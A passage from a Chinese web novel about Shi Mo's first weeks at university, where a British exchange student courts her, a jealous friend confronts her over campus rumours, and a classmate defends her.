他的表情不像平时那么从容,眉心微微拧着,嘴唇抿成一条线,目光从老远就锁定了时墨——准确地说,是锁定了正站在时墨面前、眼神黏在她身上的伊恩。 谢时昀走到时墨身边,很自然地伸手接过她肩上的布包,然后不动声色地往她身前站了半步,刚好用自己的身体,把伊恩和时墨隔开。 “谢哥。”时墨惊讶道,“你怎么在这儿?” “我爸妈昨晚让我过来住,一早就在校门口等你了。”谢时昀说着,目光落在伊恩身上,眼神里带着一丝不易察觉的警惕和疏离,“这位是?” 时墨还没来得及介绍,伊恩已经自己绕了过来,极其自然地走到了时墨的另一侧,依旧笑得灿烂,仿佛完全没察觉到谢时昀的敌意:“你好!我叫伊恩·霍金斯!是时墨的朋友!” 谢时昀的眉头微微一皱,周身的气压瞬间低了好几度,连旁边的时建军都下意识地往旁边挪了挪。 “朋友?”谢时昀的声音不咸不淡道,“你们认识多久了?” “刚认识!”伊恩高兴地,又不自觉切换成英文,“是缘分让我们今日相遇,看到时墨的第一眼我就知道,我们会成为很好的朋友!”他说完又补充了一句“也许关系不会仅仅是朋友。” 时墨差点被自己的口水呛到。 谢时昀的手指在书包带上收紧了一瞬,面上却依旧温温和和的,只是语气冷了几分:“霍金斯先生对中国人的‘朋友’这个词,可能理解得还不够透彻。” “透彻!”伊恩立刻反驳,中文说得磕磕绊绊但态度极其认真,“我查过字典,‘朋’是两个人肩并肩,‘友’是互相帮助。我想和时墨肩并肩,互相帮助!” 时建军在后面没忍住,“噗”地笑出了声,被李秀兰瞪了一眼,赶紧捂住嘴。 时墨的目光在两人之间转了一圈。 一个面无表情,浑身散发着低气压,一个笑得像伦敦难得的艳阳天,她差点没忍住笑出声。 这时,一个男生气喘吁吁地跑了过来,穿着一件印着“首都大学”字样的文化衫,胸前别着学生会的徽章。 他一把抓住伊恩的胳膊,喘着气说:“伊恩!你跑哪儿去了?我找了你半天!李老师都急了!” 他看到时墨一家人,不好意思地笑了笑:“对不起对不起,伊恩是英国来的交换生,刚来中国没多久,不太懂咱们这儿的规矩,没打扰你们吧?” “没事,他没有打扰到我。”时墨笑着说,“他们的表达方式我能理解。” 王泽一明显松了口气,自我介绍道:“我叫王泽一,中文系大三的,负责带这批留学生熟悉校园。”他指了指伊恩,“这家伙太热情,经常让人误会。我们已经跟留学生开会说明了,让他们注意一下表达方式,他可能没好好听。” 伊恩在旁边听懂了大概,立刻抗议:“我是在表达欣赏!莎士比亚说,‘Shall Ipare thee to a summer’s day’——这是最高级别的赞美!” “你上次对食堂打菜的张阿姨也这么说。”王泽一面无表情地拆台。 “那是因为她给我多打了一勺红色的、甜甜的、会发光的肉!”伊恩理直气壮道。 王泽一无奈解释道:“他说的是红烧肉。” 时墨没忍住,笑出了声。 伊恩看见时墨笑了,眼睛更亮了,往前凑了凑,认真地说道:“时墨同学,我喜——” 他后面的话被谢时昀打断了。 “王同学,”谢时昀转向王泽一,语气温和有礼,带着一种天然的掌控感,“我母亲是苏婉清,你应该认识。” 王泽一愣了一下,随即眼睛一亮:“苏教授!我选修过她的《中国现代文学史》!原来你是苏教授的儿子!” 谢时昀微笑道:“我从小在这儿长大,每栋楼都熟。时墨是我朋友,我带她熟悉校园就行。今天新生多,你们去帮其他人吧,这里不用你费心了。” 谢时昀话说得周全,挑不出毛病。但王泽一听懂了他话里的逐客令,点了点头,伸手去拉伊恩的袖子:“行,那我们先去帮别人了。伊恩,走了。” 伊恩没有动。 他看着时墨,湛蓝的眼睛亮亮的,笑容从刚才的灿烂变得认真。他没有理会王泽一拉他袖子的手,也没有看谢时昀,只盯着时墨。 “时墨同学。”他切换成中文,一字一顿,声调依然不太准,但格外认真地说,“我喜欢你。” 这话一出,周围瞬间安静了。 路过的几个学生停下脚步,好奇地往这边看。时爱国的脸一下子沉了下来,李秀兰拉了拉时墨的衣角,紧张得不行。时建军瞪大了眼睛,心想这洋学生也太直接了吧,哪有刚见面就说喜欢的? 谢时昀的脸彻底黑了,嘴角的笑容消失得无影无踪,眼神冷得像寒冬腊月的冰锥,如果眼神能杀人,伊恩已经被他戳成筛子了。 他站在时墨身侧,下颌线绷得死紧,强忍着压下情绪,微微侧了半步,挡住伊恩看向时墨的视线。 时墨有点哭笑不得,她知道外国人表达感情直白,但一看伊恩的眼神,好像不是她以为的那种社交热情,而是认真的,便立马正色起来。 “谢谢你的喜欢。”时墨笑着说,语气客气而不失距离,“但我们才第一次见面,你还不了解我。喜欢一个人需要时间,不能光凭第一眼的眼缘。” 伊恩一点都不气馁,反而更开心了:“时间可以以后补,但第一眼很重要。我的曾曾曾祖父在舞会上第一眼见到我的曾曾曾祖母,第二天就求婚了。他们在一起六十年了!” 时墨一听,这个逻辑居然无法反驳。 时墨转向王泽一:“学长,谢哥对学校熟,有他带我就行了。你们快去忙吧,报到第一天事情多,别耽误了。” 王泽一如蒙大赦,一把拽住伊恩的胳膊就往回拖,结果使出了吃奶的劲,伊恩也纹丝不动。 伊恩失落道:“时墨,这是我的宿舍电话,你安顿好了一定要给我打电话!我请你吃饭!”他从口袋里掏出一个小本子,撕了一页,写下一串电话号码,塞到时墨手里。 “对了!”伊恩突然想起什么,眼睛一亮,“你是不是写《古宅迷踪》的那个时墨?我昨天在书店买了你的书!太好看了!我特别喜欢你写的梅先生!” 时墨愣了一下:“你看过我的书?” “当然!我就说感觉你的名字有种莫名的熟悉感!原来我们早就认识了!”伊恩激动地说,“我最喜欢华夏的古建筑和悬疑故事了!你的书把两者结合得完美极了!我本来就是因为喜欢华夏文化才来当交换生的!没想到我喜欢的作者竟然是我喜欢的人!天哪,我太幸运了!下次见面你一定要给我签名!” “好啊。”时墨笑着应了。 伊恩得到准信,这才心甘情愿地被王泽一拖走。他一边走一边回头,湛蓝的眼睛一直黏在时墨身上,直到被人群挡住,还远远地喊了一句:“时墨!中文系就在建筑系旁边!我天天去找你玩!” 他的身影消失在人群里之后,李秀兰拍了拍胸口,心有余悸道:“我的妈呀,这洋学生也太热情了。一上来就说喜欢,吓我一跳。” 时建军也说:“就是,也太直接了。不过他人看着还挺单纯的,不像坏人。” 时爱国咳嗽了一声,严肃地看着时墨:“墨墨啊,跟外国人交往,可得注意点分寸。咱们跟他们不一样,别让人误会了。” “爸,我知道。”时墨把纸条叠好放进兜里,解释道,“外国人表达方式跟咱们不一样,他就是性格比较外向,没别的意思。” 谢时昀的目光从伊恩消失的方向收回来,落在时墨手里的纸条上,眼神暗了暗,轻声说:“先去报到吧。建筑系的接待点在前面,我带你去。” 他说完便走在前面,宽厚的背影替时墨分开拥挤的人群。 【宿主。】系统的声音忽然冒出来,带着一种看热闹不嫌事大的兴奋,【刚才那个英国交换生,我查到了。伊恩·霍金斯,霍金斯家族的小儿子,往上数三代是世袭伯爵。他爸在上议院有席位,他妈是佳士得拍卖行的董事。家族资产折合人民币十几个亿!】它报了一个数字,然后吹了一声口哨,【真正的贵族,祖上跟着威廉征服者来的,血统纯得能上族谱。】 时墨的脚步顿了一下。 【他来华夏是跟家里吵翻了。他爸想让他读牛津学法律,以后从政继承爵位,他非要学东方艺术史,还说要在华夏找自己的灵魂。一气之下就申请了交换项目,跑来了首都。】 【他昨天看完《古宅迷踪》,在日记里写:“能写出这种文字的人,一定是把灵魂分了一半给古老的事物。我想见她,立刻马上。”】 时墨没想到这个看起来有点傻气的小老外,居然能读懂她书里的东西。 【他还写了——】系统的语气变得更微妙了,【“如果她愿意,我可以把佳士得所有的中国文物都买回来还给她。”】 【真的假的?】 【唔,写的时候是真心的。】 【啧,真心瞬息万变。】 时墨虽然这么说到但: 【把他的资料存一份。】 【存好了!】系统应得很快,试探着问,【宿主,你是打算跟他搞好关系?】 【一个英国贵族,学东方艺术史,从小接触文物和艺术品交易。】时墨眼睛微微眯起,【不管是以后追回流失海外的文物,还是拓展海外业务,他都是最好的人选。更重要的是,霍金斯家族在英国的人脉,说不定能帮我们查到林文森的把柄。】 【那我们要刷他的好感度吗?商城里有好感度香水,只要100能量币!】 【不用。】时墨淡淡道,【这种在贵族家庭长大的人,最敏感别人的刻意讨好。正常相处就行,当朋友处着,反而更自然。他对我有好感,这是最好的敲门砖。】 【也是,他现在已经够热情了。】系统嘀咕道。 几个人跟着谢时昀走到建筑系的接待点。 两张旧木桌子拼在一起,铺着红布,后面坐着两个学姐。看见谢时昀时两个学姐的眼睛同时亮了一下,然后才看到他身后的时墨。 “新生报到?”扎马尾的学姐笑着问,目光在两人之间来回扫了一遍。 “是的,建筑系,时墨。”时墨把录取通知书递过去。 马尾学姐接过通知书,低头看了一眼名字,然后猛地抬起头,眼睛瞪得溜圆。 旁边那个短发的学姐也凑过来,两个人盯着通知书上的名字看了足足三秒钟,然后同时抬起头看着时墨,脸上的职业微笑变成了压抑不住的激动。 “你是时墨?!写《古宅迷踪》的时墨?!” 这一嗓子把周围几个新生和家长的目光都招了过来。时墨感觉到无数道视线齐刷刷地落在自己身上,像被一束突然打过来的追光灯罩住了。 “是我。”时墨点了点头。 两个学姐同时深吸了一口气,然后手忙脚乱地帮她办手续。马尾学姐的笔都差点掉在地上,一边写一边激动地说:“我的天!我居然能见到活的时墨!我们宿舍六个人,人手一本《古宅迷踪》!我们还天天讨论凶手到底是谁!” “是啊是啊!”短发学姐也跟着说,“你写的古建筑细节太真实了!我学历史的,我导师都夸你专业!” 办完手续,两个学姐把宿舍钥匙、饭卡和新生手册递过来,眼巴巴地看着时墨:“时墨同学,你能不能给我们签个名啊?” “当然可以。”时墨笑着接过笔,在她们的笔记本上签下了自己的名字。 两个学姐开心得差点跳起来,一个劲地说:“以后有什么事随时找我们!” 从接待点出来,谢时昀看了一眼时墨问:“你不打算住校?” “我不住校,等会儿去教务处办一下走读手续。” 谢时昀点了点头:“我陪你去。教务处的李老师跟我妈很熟,办起来快。对了,你那个小院,我昨天过去看了一眼,玄青和穗穗都挺好的。穗穗又长大了不少,一口一个馒头。” 说起两只狗,时墨的眼神柔和了不少:“是啊,穗穗最近特别能吃,也不知道它是不是跟长身体有关,每次都吃的肚子圆鼓鼓的,我都怕它撑坏了。玄青也不管管它,还把自己的饭让给它。” “怎么说穗穗都是玄青带大的。”谢时昀笑着说,“我昨天带了大骨头过去,玄青把肉都叼给穗穗了,自己只啃骨头。” “不似亲生胜似亲生了。”时墨感慨道。 谢时昀喜欢看时墨跟他说这些日常琐事。他走在时墨身侧,微微偏着头,目光落在她脸上,带着一种不自知的温柔。 办完走读手续,时爱国夫妻俩和时建军就准备回去了。李秀兰拉着时墨的手,絮絮叨叨地交代了半天,从吃饭穿衣说到注意安全,说了几遍还舍不得走。 “妈,我又不是不回家了,我那院子都没收拾得能住人呢。”时墨哭笑不得。 “知道知道。”李秀兰嗔了她一眼,“你这孩子,我多说几句还嫌我唠叨。”她又转向谢时昀,笑着说,“小谢啊,墨墨就拜托你多照顾了。她一个女孩子在外面,我们不放心。” “阿姨您放心。”谢时昀认真地说,“我住得离她很近,有什么事我随叫随到。学校里的事我也熟,不会让墨墨被人欺负的。” “哎,好,好。”李秀兰满意地点了点头。 几人走后,谢时昀领着时墨开始熟悉校园,从教学楼到图书馆,从食堂到操场,一一给她介绍。 两个人沿着未名湖慢慢走着,湖边的柳树垂下柔软的枝条,风一吹,轻轻拂过水面,泛起层层涟漪。 “今天那个交换生。” 时墨侧过头看他。 谢时昀垂眼,看着脚下的石子路,嘴角动了动,一抹极淡的自嘲一闪而过。 “算了。当我没说。” 时墨看到了谢时昀的小心翼翼,和生怕越界的克制隐忍,但,依旧没有挑破。 第85章 谢时昀很快整理好自己的状态, 自然地转移了话题:“逛了大半天,饿了吧,我请你去三食堂吃饭, 尝尝传说中最好吃的糖醋排骨和酱爆茄子。” 时墨点头笑道:“这次我请客, 麻烦你大半天。” 谢时昀眼底的落寞散去:“你今天开学, 我请, 下次换你请我。” “好。” 两人并肩往食堂走,正午的阳光透过梧桐叶洒下来,在地上投下斑驳的光影。 三食堂里人声鼎沸,餐盘碰撞的叮当声、学生们的说笑声混在一起,充满了烟火气。 谢时昀熟门熟路地拿了两个搪瓷餐盘, 走到三号窗口:“李师傅, 两份糖醋排骨、清炒白菜、酱爆茄子,再来两份米饭。” 他说着, 熟练地掏出粮票和钱递过去。 李师傅抬头看见他, 笑着打趣:“小谢啊,毕业这么久还来蹭食堂?今天带女朋友来的?” 谢时昀眼睫快速眨动两下, 下意识地看了时墨一眼:“李师傅您别开玩笑, 这是我朋友时墨, 今年刚考进建筑系。” “哟, 还是个小师妹呢!”李师傅笑着多舀了一勺排骨放进餐盘里, “多给你点,尝尝李师傅的手艺有没有退步。” 两人找了个人少位置坐下。 时墨夹了一块排骨放进嘴里,酸甜的味道在舌尖化开, 肉质软烂脱骨,确实好吃:“唔,味道不错啊。” “没骗你吧?”谢时昀看着她, 眼带笑意道,“二食堂的包子也不错,早上的豆浆是现磨的,四食堂的牛肉面最地道,就是得早去,晚了就没了。” “记下了。”时墨笑着点头,“以后吃饭就跟着你混了。” 谢时昀的心跳漏了一拍,筷子顿在半空,“好。” 吃完饭,两人在食堂门口分别。 谢时昀看着时墨离开的背影,想起自己笑着跟李师傅解释“这是我朋友”时喉咙里那一瞬的紧涩。 她没听见了吗?听见了。她在意吗?不在意。 谢时昀压下心底的酸涩,转身离开。 开学典礼过后,时墨正式搬入小院。 李秀兰和时爱国提前三天就过来收拾了,把屋子打扫得一尘不染,被褥在太阳下晒了整整一天,摸上去暖烘烘的,带着皂角和阳光的味道。厨房的锅碗瓢盆一应俱全,连水缸都蓄满了水。 玄青和穗穗看见时墨回来,立刻扑了上来,围着她的腿转圈圈,尾巴摇得像拨浪鼓。穗穗已经长到半大,浑身毛茸茸的像个小绒球,扒着时墨的裤腿直哼哼,舌头舔得她手背痒痒的。 “慢点,别摔了。”时墨蹲下来,揉了揉两只狗的脑袋,心都被萌软了。 李秀兰端着一盆洗好的桃子走过来,擦了擦手说:“墨墨啊,你一个人住这儿,妈实在放心不下。这院子虽不大,但也空落落的,晚上有点动静都吓人。你看你一直在妈跟前,还从来没分开过,你要住学校人多妈也不惦记,反正周六日你也回来。可这……” 时墨打断了她妈的话:“妈,我这不有玄青和穗穗看家护院,你放心,再说对面就是谢时昀,我有事随时都能找他。” “人家话虽那么说,但咱总麻烦人也不好。你看红梅在铺子后面搭个床住也不是个事,不如让她搬过来跟你做个伴?而且你二姐这个人你也知道,勤快、嘴严,从来不多问一句不该问的。上次铺子少了五块钱,她翻了半宿账本,最后发现是自己算错了,连夜把钱补上,还主动找你认错。有她陪着你,妈才能踏实。” 时墨想了想,确实如此。这段时间接触下来,赵红梅的分寸感让她很舒服——干活从不多言,不该问的绝不打听,连她放在桌上的账本,都从来不会多瞟一眼…… “行,妈你有空跟红梅姐说一声,让她收拾收拾东西搬过来,就住西厢房。” “哎呀,她有啥东西可收拾得,我今儿就去跟她说。” 当天下午,赵红梅就搬来了。 她只拎了一个打了补丁的蓝布包袱,里面是几件洗得发白的换洗衣服。一进门就没闲着,擦窗户、拖地板、给院子里的花浇水,连玄青和穗穗的狗窝都拆洗了一遍。 时墨下课回来的时候,一推院门就闻到了糖醋鱼的香味。 赵红梅系着围裙从厨房出来,脸上沾着点面粉,笑着说:“墨墨回来了?快洗手吃饭,我炖了你爱吃的糖醋鱼,还熬了小米粥。” 桌上摆着三菜一汤,糖醋鱼色泽红亮,西红柿炒鸡蛋嫩黄诱人,连清炒白菜都炒得碧绿爽口。时墨夹了一块鱼放进嘴里,肉质鲜嫩,酸甜适中,比饭馆里的还好吃。 “红梅姐,你手艺也太好了吧!” “以前在家天天做饭,练出来的。”赵红梅不好意思地笑了笑,给她夹了一块鱼肚子上的肉,“墨墨,我在这儿住给你添麻烦了。等我发了第一个月工资,就去外面租个小房子,不耽误你。” “急什么。”时墨给她也夹了一筷子鱼,“这院子大着呢,多个人还热闹。你安心住下,房租不用你出,就当是我请你给我做饭打扫卫生的工钱。以后咱们就搭伙过日子,我忙的时候,家里和两只狗就拜托你了。” 赵红梅看着时墨真诚的眼睛,眼眶一下子红了:“墨墨,你对我太好了。我和我哥嫂这辈子都忘不了你的恩情。” “都 是一家人,说这些干什么。” 自此,时墨的日子过得安稳又规律。 每天早上起床后晨跑三公里,回来就能吃到赵红梅准备好的热乎早饭——有时候是豆浆油条,有时候是包子粥,有时候是葱花饼夹鸡蛋。 有课就去学校,没课就泡在图书馆,把系统的日常任务清完,顺便啃那些厚重的古建筑典籍。晚上回来,赵红梅总会给她留灯和一碗温在灶上的粥,旁边搁着一碟她腌的萝卜干。 铺子有赵海霖夫妻俩盯着,根本不用她操心。 赵海霖每周六下午准时把账本送过来,进货、销售、损耗、现金流,每一笔都记得清清楚楚,连买一根钉子的钱都记在上面。时墨只需要翻一遍,在本子上记几个调整要点,交代给他带回去就行。 赵红梅住进来后,把小院里里外外都被打理得妥妥帖帖。 “二姐,你不用每天给我留饭。”时墨有一次说,“我在学校食堂吃过了。” “食堂的饭哪有家里的香。”赵红梅把热好的粥端到她面前,“你每天学习那么累,不吃点东西怎么行。再说也不费事,我自己也要吃,顺手多做一点。你尝尝今天的,我加了一把红枣,说是补脑的。” 小米红枣粥熬得稠糊的,枣肉化在米汤里,甜味不是糖的甜,是枣子慢慢煮出来的那种温润的甜。时墨喝了一口,没再推辞。 时墨越来越习惯有她在的日子,每天晚上回来都能看到给她留的灯,心里也多了一份安稳。 学校那边,伊恩在迟迟等不到时墨的电话后,自己找上门来了。 时墨刚上完建筑史课,抱着几本从图书馆借的《营造法式》注释本,正低头翻着斗拱节点图,没留神差点撞上人。 她抬起头,就看见伊恩站在面前,金色的头发被风吹得有点乱,手里拎着一个印着友谊商店标志的牛皮纸袋,笑得像个小太阳。 “时墨!”他把“时墨”两个字咬得字正腔圆,显然私下练了无数遍,“我终于找到你了!你的系,和我的系,一点都不近。我走了很久。” 时墨合上图册:“你怎么知道我在这儿?” “我问了人。”伊恩解释道,“我问了很多,很多人。我说,我要找建筑系的时墨,最好看的那个。他们就把你课表给我了。” “你找我什么事?” “给你送入学礼物。”伊恩把纸袋递过来,眼神亮晶晶的,“第一天见你太匆忙了,没准备。我托人找了一本书,你肯定喜欢。” “谢谢。”时墨接过打开纸袋。 时墨接过纸袋打开,里面是一本1983年伦敦出版的精装本《东方建筑艺术史》。深绿色的布纹封面,烫金的标题,书页边缘刷着金粉,翻动的时候会泛出细碎的金光。里面的插图都是珂罗版印刷的,清晰度极高,连敦煌壁画上的细纹都看得一清二楚,每一张图都配着详实的文字说明。 这本书她在后世的旧书店见过一次,当时已经炒到了三百多英镑,印量极少,国内根本买不到。 更何况现在能拿出这本书的人,屈指可数。 “你怎么知道我在找这个?”时墨的语气里带着一丝惊喜。 伊恩看到时墨的喜欢,眼睛瞬间亮了。 “我不知道你在找。我只是——”他顿了一下,中文不够用了,切换成英文,语气认真道,“我只是觉得,你读建筑,应该会喜欢这本书。而且你书里写的那些古建筑的细节,不是简单查资料能查到的。你一定是真正站在它们面前过,用手摸过充满历史痕迹木头和石头,才能写出那样别致生动的文字。所以我觉得你会想看这本书。” 这本书她确实找了很久,时墨指尖抚过烫金的书名,抬头真诚地说:“谢谢你,伊恩,我非常喜欢。” “你喜欢,我高兴!” 伊恩笑得更开心了,如果他有尾巴,此刻肯定已经摇成了螺旋桨。 “那我明天——明天还可以来找你吗?不是送东西,就是,来看看你。” 时墨看了他一眼。“你不是已经知道我的课表了吗。” 伊恩愣了一下,然后笑容从嘴角一直漾到眉梢。 从这天起,伊恩·霍金斯的追求正式拉开了序幕。 他的追求和他的人一样,热烈,直白,却极有分寸。 每天早上准时出现在建筑系教学楼门口,手里拿着一袋刚买的热豆浆和两个糖火烧,笑眯眯地递给时墨。 时墨说她吃过了,他就立马从兜里掏出一瓶橘子汽水,笑着说:“那喝这个,这里的秋天太干了。” 中午下课,他堵在教室门口,手里拿着提前打听好的时墨爱吃的菜的饭馆地址:“时墨,我请你吃饭吧?我知道一家新开的川菜馆,味道特别正宗,我昨天去试过了。” “今天不行,下午有课要准备。”时墨说。 “那明天呢?” “明天也不行。” “后天呢?” 时墨看着他。他的表情里没有被拒绝的不快,没有“我请你这么多次你怎么一次都不答应”的委屈。他只是很认真地在问——今天不行,那明天呢?明天不行,那后天呢?像一个在日历上一天一天画圈的人,画到有一天她会说“好”。 “后天再说。”她说。 “好!那我后天再来问!”他笑起来,往后退了两步,然后转身跑了。跑了几步又回头,“时墨!后天的菜我提前跟老板定好!” 时墨要是没课,他就抱着一摞书蹲在图书馆门口等她,都是他从各种渠道搜罗来的古建筑和文物典籍——有民国版的《中国营造学社汇刊》,有岛国出版的《敦煌石窟全集》,甚至还有一本手抄的《清代匠作则例》。 每一本书送到时墨手上之前,他都会先翻过一遍,在扉页上用用歪歪扭扭的中文写上“伊恩赠时墨”,字写得不好看,但一笔一划都很认真。 他从来不会在人多的时候拉拉扯扯,也不会说什么油腻的情话,送的礼物也都是时墨需要且喜欢的。 时墨一开始拒绝过几次,但伊恩从来不会因为被拒绝就气馁,依旧每天笑眯眯地出现在她面前,眼神干净又真诚,像只忠诚的大金毛。 渐渐的,时墨也不再刻意拒绝。知道他并不是被拒绝就记恨的性格,加之送的东西都对她有用,便照单全收,当好朋友先交往着,当个人脉。 伊恩请她吃饭,她也会回请,两人聊古建筑、聊文物、聊东西方文化差异,倒也聊得投机。 一次伊恩送时墨回小院,看见院子里摆着的明清家具和博古架上的瓷器,确定道:“时墨,你喜欢古董?” “嗯,喜欢老东西的设计。”时墨给她倒了一杯茶。 伊恩扫到一个青花瓷缸,眼睛一下子亮了。 他蹲在瓷缸前,看着里面慢悠悠游动的金鱼,忽然说:“时墨,你这里的东西是活的。” “什么意思?” “很多人买古董是为了摆给别人看,彰显身份。”伊恩站起来站起来,湛蓝色的眼睛里映着时墨的身影,“但你不一样,你在使用它们。让它们活起来。” 他看着时墨,语气认真道:“我喜欢你这个样子。” 时墨笑了笑,没接话。 自此,伊恩的礼物又多了一个品类。 他开始给时墨淘各种有意思的老物件。 不是动辄上万的贵重古董,都是些小巧精致、实用又好看的小东西。比如清末的粉彩小碗,碗心画着一尾金鱼,和瓷缸里的小鱼一模一样;比如民国的铜制怀表,表盘上的珐琅彩画着颐和园的十七孔桥;比如一盏旧式的黄铜煤油灯,黄铜灯座上刻着缠枝莲纹,擦亮了之后能照出满屋子暖黄的光。 每一件东西都不贵,但每一件都送到了时墨的喜好上。 伊恩追求时墨的事,很快就轰动了整个校园。 一开始大家都以为是外国人的一时新鲜,毕竟在现在,外国交换生本身就是稀罕物。 可没想到,一周过去了,半个月过去了,一个月过去了,伊恩依旧每天准时出现在建筑系门口,风雨无阻。 首都秋天风沙大,有一次刮沙尘暴,他站在风里,金色的头发被吹得像鸟窝,眼睛被沙子迷得通红,怀里的豆浆却用外套裹得严严实实,递给时墨的时候还是温的。 “你们看那个英国佬,又来等时墨了。” “长得帅又有钱,还这么痴情,时墨也太好命了吧?” “有什么好羡慕的,不就是傍上外国人了吗?崇洋媚外。” “就是,听说她还收了人家好多贵重礼物,又不答应跟人家好,故意钓着人家当冤大头呢。” “我看她就是想嫁到国外去,一步登天。” 流言开始像秋天的落叶一样,风一吹就飘得到处都是。 有人说时墨是图伊恩的外国人身份,想嫁到国外去。 有人说伊恩这种贵族子弟在国外什么漂亮姑娘没见过,来中国就是图个新鲜,玩腻了就扔。 有人说时墨收了人家那么多东西,又不答应跟人家好,是故意钓着。 也有人说两个人其实已经偷偷在一起了,时墨周末不在学校的时候就是跟伊恩出去了。 这些话从女生宿舍传到男生宿舍,越传越离谱,越传越难听。 时墨却毫不在意,该上课上课,该去图书馆去图书馆,该收伊恩的礼物照收不误。她从不解释,也不辩白,那些闲言碎语对她来说,就像耳边的风,吹过就散了。 秦野是一个月后才听到这些流言的。 他不在建筑系,消息传到他耳朵里的时候,,已经发酵得面目全非。 他听到的版本是:时墨跟一个英国贵族好上了,那个贵族天天给她送金银珠宝,两人出双入对,毕业就要一起去英国结婚了。说这话的人挤眉弄眼,语气里的暧昧像馊了的菜汤,黏稠稠地往外淌。 秦野听完,脑子“嗡”的一声就炸了。他不相信时墨是这样的人,可周围的人都说得有鼻子有眼,他再也坐不住了,站起来就往外走。 “秦野你干嘛去?” 他没回答,直接翘了下午的课,骑着自行车疯了一样冲到建筑系教学楼门口。 他到的时候伊恩刚走,时墨正抱着几本书往外走,看见秦野站在门口,满头的汗,自行车的脚撑都没踢下来,车把歪歪扭扭的。 “秦野?你怎么来了?” “时墨,我有话问你。” 他的语气和平时很不一样,时墨看了他一眼,没说话,走到教学楼侧面的银杏树下,把书放在石凳上:“说吧,什么事。” 秦野站在她面前,嘴唇抿成一条线,垂下的手攥着又松开,松开了又攥紧,像是在攒一股劲儿,胸口剧烈地起伏着。他看着时墨平静的脸,心里的火气更盛,又带着一丝说不清道不明的委屈。 “那个英国人,是不是在追你?” “是。” “你收了他的东西?” “收了。” “你知不知道外面怎么说你?”秦野的声音陡然拔高,又硬生生压下去,“他们说你图他是外国人,说你想嫁到国外去。说你钓着他,收他的东西又不答应,把他当冤大头。说你——” “说我什么?”时墨看着他,忽然笑了,眼神却没有丝毫笑意,“你说来听听。” 秦野被她的目光冻住了。 “说你——”他咬了咬牙,“说你跟人家不清不楚的!时墨你以前不是这样的,你现在怎么……” “怎么变得这么物质?这么虚荣?这么世俗了?”时墨替他说了,她的语气甚至带着一点笑意,但笑意却不进眼底。 秦野没说话,但沉默的态度就是默认。 时墨抱着胳膊看着他,冷淡道:“秦野,我问你几个问题。” “你问。” “你是谁?” 秦野愣了一下:“什么?” “你是我什么人?你在以什么身份来质问我?”时墨嘲讽道,“我的事,需要向你解释?” 秦野张了张嘴,随即说:“我是你朋友!我不想看到你被别人误会!” “朋友?”时墨挑了挑眉,“朋友就该管我跟谁交朋友,收谁的礼物?朋友就该把别人的闲言碎语当真理,跑过来质问我?” “可是他是外国人!”秦野激动地说,“大家都在说你崇洋媚外,为了钱跟他在一起!你以前不是这样的,你不是最讨厌这些东西吗?” 时墨冷笑一声。 秦野感觉到不对,立刻解释:“我不是那个意思。”他的声音低了下去,“我只是——我只是想不通。” “想不通什么?” “想不通你为什么会收他的东西。”秦野抬起头看着她,眼睛里有真实的困惑,也有一点被刺痛之后的不甘,“以前在学校的时候,你什么都不在乎。别人追你,你连看都不看一眼。送你东西你都不收,为什么偏偏收他的?我一直以为——” 他话说到一半停住了。 “你一直以为什么?”时墨看着他,眼神平静却充满压迫感,“以为我清高,以为我天生就应该朴素节俭、应该对物质和享乐嗤之以鼻?” 树叶从枝头飘落,被风卷着打了个旋。 “秦野,我什么时候跟你说过,我喜欢朴素?”时墨微微偏了一下头,“我什么时候跟你说过,我不喜欢被人送礼物?我什么时候跟你说过,我天生就该清高?秦野,那是你以为的。我从来没说过我不喜欢好东西。” 秦野愣住了。 他拼命在记忆里搜索,时墨确实从来没有说过这些话。 她只是没有接受过那些追求,没有收过那些礼物。他没有问过她为什么,他自己替她找到了答案——她清高,她不在乎,她跟别的女生不一样。 他把这些答案当成了真相,从来没有想过,也许只是那些人送的东西,她看不上。 “我……” “我没有钓着谁。”时墨继续说,“伊恩喜欢我,所以他愿意送我东西。我想要就收,不想要就不收。他送得开心,我收得坦荡。这里面哪一件事,道德败坏了?” “可是外面的人——” “外面的人说什么,跟我有什么关系?”时墨打断他,语气里终于带上了的冷意,“他们觉得我不好,那就让他们觉得好了。我不需要为了别人的看法,改变自己的生活方式。” “秦野。”时墨冷淡道,“你今天来问我这些话,是因为你在意那些流言,还是因为你觉得你应该得到一个解释?” 秦野的手在身侧攥成了拳,指节泛白。 “秦野,你越界了。”时墨语气冰冷的提醒道,“这是最后一次,没有下次。不然,我们连朋友都没得做。” 说完,时墨拿起石凳上的书,转身就走。 留下秦野一个人站在原地,脸色惨白。 他终于明白,从头到尾,都是他自己的一厢情愿。他以为自己特殊,以为那些没说出口的话、那些早读课时放进她桌洞里的热牛奶、那些和时墨接触的时光,是给他的机会。 但,这不过是他的遐想。 在时墨心里,他从来都只是一个普通同学。 * 伊恩对自己引起的这一切浑然不觉。 不是因为他迟钝,而是他的注意力全部放在了时墨身上,根本没有多余的精力去关注校园里的流言蜚语。 他每天满脑子除了上课,就是琢磨——今天给时墨带什么,今天跟时墨聊什么,下次该怎么约时间,他要是知道了,绝对会跑到广播室,公开表述,一切是自己心甘情愿,谁都不许说时墨不好,是他乐意。 伊恩中文学的不全,不然他知道倒贴这词,会立马给自己按上。 这件事很快就传到了建筑系。 建筑史课的课间,时墨被教授叫到讲台边讨论一个问题。她刚从讲台回来,就听见后排几个女生凑在一起,声音不大不小,刚好能飘进她耳朵里。 “装什么清高啊,还不是见钱眼开。” “就是,收了人家那么多东西,又不答应人家,真能装。” “她不是写书的吗?稿费应该不少吧,至于吗?” “稿费能有几个钱?再说了,攀上这种人家,那可不是钱的事。我听说那老外家里是贵族,在英国有大庄园的。” “那也得人家真看得上她。我看也就是图个新鲜——” 时墨的脚步没停,面无表情地回到的座位上坐下,翻开了课本。 坐在她旁边的许文静,平时话很少,总是戴着厚厚的眼镜,默默记笔记。这时她忽然放下笔,转过身,看着那几个女生,语气平静却掷地有声:“你们说够了吗?” 后排的女生愣了一下,其中一个撇了撇嘴:“我们说什么,关你什么事?” “是不关我的事,但你们造谣就关我的事。”许文静推了推眼镜,“时墨高三就参与了梅兰芳故居的修缮,是核心技术人员,梅先生故居的斗拱测绘图就是她画的。上周王教授课上讲的元代木构案例,资料是她从故宫档案馆查了半个月整理出来的。你们除了在背后嚼舌根,还会什么?” 说完,又加了一句:“有本事你们也写本畅销书,也去参与国家项目,也让外国交换生追着送东西。没本事就闭嘴。” 那几个女生被她说得脸上一阵红一阵白,张了张嘴想反驳,却一句话也说不出来,悻悻地转过头去。 许文静转回来,继续低头记笔记,好像什么都没发生过一样。 